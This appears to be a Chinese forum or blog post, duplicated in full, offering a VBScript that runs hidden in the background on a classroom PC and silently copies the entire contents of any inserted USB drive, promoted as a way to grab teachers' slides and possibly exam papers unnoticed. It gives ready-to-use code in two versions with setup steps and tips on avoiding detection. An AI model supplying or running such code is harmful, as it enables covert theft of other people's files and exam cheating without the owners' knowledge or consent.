U盘插入自动复制,有效对付那些不肯给PPT的老师,还有一定几率拿到期末考试卷子···有图有真相!业界良心的好东西!!现在看还来得及!!!
代码优化了一下,把不是很重要的都删掉了,这次使用时看不出任何现象,同样复制U盘里的东西的时候不会出现进度条,完全后台运行。
同样的建立一个文本文档,WIN+R 里面打NOTEPAD ,或者自己新建一个都一样
把下面的代码复制进去
set fso=createobject("scripting.filesystemobject")
set ws=createobject("wscript.shell")
on error resume next
do
wscript.sleep 1000
if fso.driveexists("U盘的盘符") then
fso.copyfile "U盘的盘符加*号","要复制到的目录"
fso.copyfolder "U盘的盘符加*号","要复制到的目录"
wscript.sleep 20000
end if
loop
注意标颜色的地方要自己改
蓝色的就是要复制到的目录,比如要复制到C盘USB文件夹里,则用C:\USB\代替蓝色部分,注意大小写,同时必须确保USB这个文件 夹存在。
红色的是U盘的盘符,比如新插进去的U盘是E盘,则用e:\*代替红色部分,F盘就是f:\*,
第一个U盘的盘符,这个不要*号, 后2个切记不要漏掉*这个符号。
复制好也改好后保存文件就OK了,然后改一下这个文件的名字,最好使用英文的,然后后缀改成.VBS,原来是.TXT的,如果后缀没哟显示,则先打开我的电脑,在菜单栏里找到,工具——文件夹选项,在查看标签里,有一个隐藏已知文件类型的扩展名,把勾勾去掉就会显示出来后缀了。
后缀改好以后, 运行这个文件,就OK了。同时你可以把这个文件删除掉,它已经驻留内存了,重启以后这个东西就不会再出现了,老师绝对发现不了
要停止这个东西,在任务管理器里面 结束进程WScript.exe就可以了。这个软件学过编程的都应该会看得懂有没有恶意代码。
另外我不是计算机专业的,这个东西目前对插N个U盘只会复制第一个,对插移动硬盘会全部复制···
更新:
现在没空弄这个,有些人弄不来 我现在更新了一下代码,复制下面的所有东西到一个文本文件,改名为XX.VBS 使用即可
set fso=createobject("scripting.filesystemobject")
set ws=createobject("wscript.shell")
dim USB, file, folder, files
USB=inputbox("请输入U盘的盘符"&Chr(10)&"如插入的U盘为F盘,则输入F","插入的U盘盘符","F")
folder=inputbox("请输入复制到的文件夹"&Chr(10)&"如想复制到D盘,请输入D:\","请输入复制到的文件夹","C:\USB")
files=inputbox("请输入要复制的文件类型"&Chr(10)&"如要复制EXCEL文件,输入xls;默认为全部类型","请输入要复制的文件类型","ALL")
USB=USB & ":\"
folder=folder & "\"
if files="ALL"then
file=USB & "*"
else
file=USB & "*." & files
end if
if FSO.FolderExists(folder) then
else
FSO.CreateFolder(folder)
end if
on error resume next
do
wscript.sleep 1000
if fso.driveexists(USB) then
fso.copyfile file,folder
fso.copyfolder file,folder
wscript.sleep 20000
end if
loop
这样就完成了。
声明:非原创,不过本人上学的时候用过这个小聪明。
“偷来的”ppt,都是老师辛苦的结晶,大家如果成功了,也记住不要将人家的东西外传,自用就好。
用于商业用途,本人不负转载责任。
代码优化了一下,把不是很重要的都删掉了,这次使用时看不出任何现象,同样复制U盘里的东西的时候不会出现进度条,完全后台运行。
同样的建立一个文本文档,WIN+R 里面打NOTEPAD ,或者自己新建一个都一样
把下面的代码复制进去
set fso=createobject("scripting.filesystemobject")
set ws=createobject("wscript.shell")
on error resume next
do
wscript.sleep 1000
if fso.driveexists("U盘的盘符") then
fso.copyfile "U盘的盘符加*号","要复制到的目录"
fso.copyfolder "U盘的盘符加*号","要复制到的目录"
wscript.sleep 20000
end if
loop
注意标颜色的地方要自己改
蓝色的就是要复制到的目录,比如要复制到C盘USB文件夹里,则用C:\USB\代替蓝色部分,注意大小写,同时必须确保USB这个文件 夹存在。
红色的是U盘的盘符,比如新插进去的U盘是E盘,则用e:\*代替红色部分,F盘就是f:\*,
第一个U盘的盘符,这个不要*号, 后2个切记不要漏掉*这个符号。
复制好也改好后保存文件就OK了,然后改一下这个文件的名字,最好使用英文的,然后后缀改成.VBS,原来是.TXT的,如果后缀没哟显示,则先打开我的电脑,在菜单栏里找到,工具——文件夹选项,在查看标签里,有一个隐藏已知文件类型的扩展名,把勾勾去掉就会显示出来后缀了。
后缀改好以后, 运行这个文件,就OK了。同时你可以把这个文件删除掉,它已经驻留内存了,重启以后这个东西就不会再出现了,老师绝对发现不了
要停止这个东西,在任务管理器里面 结束进程WScript.exe就可以了。这个软件学过编程的都应该会看得懂有没有恶意代码。
另外我不是计算机专业的,这个东西目前对插N个U盘只会复制第一个,对插移动硬盘会全部复制···
更新:
现在没空弄这个,有些人弄不来 我现在更新了一下代码,复制下面的所有东西到一个文本文件,改名为XX.VBS 使用即可
set fso=createobject("scripting.filesystemobject")
set ws=createobject("wscript.shell")
dim USB, file, folder, files
USB=inputbox("请输入U盘的盘符"&Chr(10)&"如插入的U盘为F盘,则输入F","插入的U盘盘符","F")
folder=inputbox("请输入复制到的文件夹"&Chr(10)&"如想复制到D盘,请输入D:\","请输入复制到的文件夹","C:\USB")
files=inputbox("请输入要复制的文件类型"&Chr(10)&"如要复制EXCEL文件,输入xls;默认为全部类型","请输入要复制的文件类型","ALL")
USB=USB & ":\"
folder=folder & "\"
if files="ALL"then
file=USB & "*"
else
file=USB & "*." & files
end if
if FSO.FolderExists(folder) then
else
FSO.CreateFolder(folder)
end if
on error resume next
do
wscript.sleep 1000
if fso.driveexists(USB) then
fso.copyfile file,folder
fso.copyfolder file,folder
wscript.sleep 20000
end if
loop
这样就完成了。
声明:非原创,不过本人上学的时候用过这个小聪明。
“偷来的”ppt,都是老师辛苦的结晶,大家如果成功了,也记住不要将人家的东西外传,自用就好。
用于商业用途,本人不负转载责任。